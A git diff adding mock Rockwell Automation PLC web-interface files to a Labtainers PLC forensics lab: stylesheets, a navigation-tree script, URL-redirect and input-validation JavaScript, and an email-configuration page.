LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig.html new file mode 100644 index 000000000..31850181f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig.html @@ -0,0 +1,17 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig.html new file mode 100644 index 000000000..ffa64ac82 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig.html @@ -0,0 +1,115 @@ + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + +
Device IdentityNetwork ConfigurationDevice ServicesEmail +Configuration
+ + + + + + + +

+ + + + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
E-Mail Client
SMTP ServerIP or Hostname: 
SMTP AuthenticationUser Name: 
Password:

+
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/javaConfirm.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/javaConfirm.js new file mode 100644 index 000000000..d0156a96c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/javaConfirm.js @@ -0,0 +1,123 @@ +function jsConfirm(msg_text) { return confirm(msg_text); } + +function URLvalidate(url) { + var re = /^\/([^\\:\*\?"<>\|\/]{1,80}\/){0,63}([^\\:\*\?"<>\|\/]{1,80})?$/; + if (re.test(url)) { + return true; + } else { + alert("The URL appears invalid. A filename must not contain any of the following characters:\n\\ / : * ? < > |\n\nA valid URL begins with a leading slash (/), must contain fewer than 64 path segments, and each segment must be less than or equal to 80 characters in length."); + return false; + } +} + +function addrValidate(address, addrType) +{ + ipArray = new Array(4); + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(address)) { + var parts = address.split("."); + + if ((parseInt(parseFloat(parts[0])) == 0)&&(addrType != "GW")) { return false; } + + for (var i=0; i 255)||(parts[i] != Math.abs(parts[i]))) { return false; }// no negative numbers + } + + if ((addrType == "IP") || (addrType == "NS")) // ip, gateway, nameserver have first octet restrictions + { + if((parseInt(parseFloat(parts[0])) == 0) || (parseInt(parseFloat(parts[0])) == 127) || (parseInt(parseFloat(parts[0])) > 223)) + { return false; } + } + return true;} + else { + if((addrType == "GW") || (addrType == "NS")) + { + return true; // blank gateway or nameservers is valid. + } + else + { + return false; + } + } + } + +function isValidIP (ipaddr) +{ + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(ipaddr)) { + var ipArray = ipaddr.split("."); + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + } + if (ipArray[0] < 128) { + if (ipArray[0] == 0 || (ipArray[1] == 0 && ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[1] == 255 && ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 127) return false; // network is all ones + } else if (ipArray[0] < 192) { + if ((ipArray[0] = 128 && ipArray[1] == 0) || (ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 191 && ipArray[1] == 255) return false; // network is all ones + } else if (ipArray[0] < 224) { + if ((ipArray[0] == 192 && ipArray[1] == 0 && ipArray[2] == 0) || ipArray[3] == 0) return false; // host or network all zeros + if (ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 223 && ipArray[1] == 255 && ipArray[2] == 255) return false; // network is all ones + } else return false; // Unsupported address class + return true;} + else { + return false; + } +} + +function isValidSubnet (subnetAddr) +{ + var i, subnet = 0; + var mask = 0x00000001, count = 1; + + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(subnetAddr)) { + var ipArray = subnetAddr.split("."); + + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + subnet |= (parseInt(parseFloat(ipArray[i])) << (8 * (3 - i))); + } + + + done = false; + for (i=0; i<4; i++) { + if (ipArray[i] == 255) { + if (done) return false; + } else if ((ipArray[i] == 254) || (ipArray[i] == 252) || (ipArray[i] == 248) || (ipArray[i] == 240) || (ipArray[i] == 224) || (ipArray[i] == 192) || (ipArray[i] == 128)) { + if (!done) done = true; + else return false; + } else if (ipArray[i] == false) { + if (!done) done = true; + } else { + return false; + } + } + + return true;} + else { + return false; + } + +} + +function isValidEmail(emailAddr) +{ + var regexpr = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/ + + return regexpr.test(emailAddr); +} + +function isValidHostname(hostname) { + var regexpr = /^[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$/ + + return regexpr.test(hostname); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/menuendon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/menuendon.gif new file mode 100644 index 000000000..6fae98a1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/menuendon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/emailConfig_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/emailConfig_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} 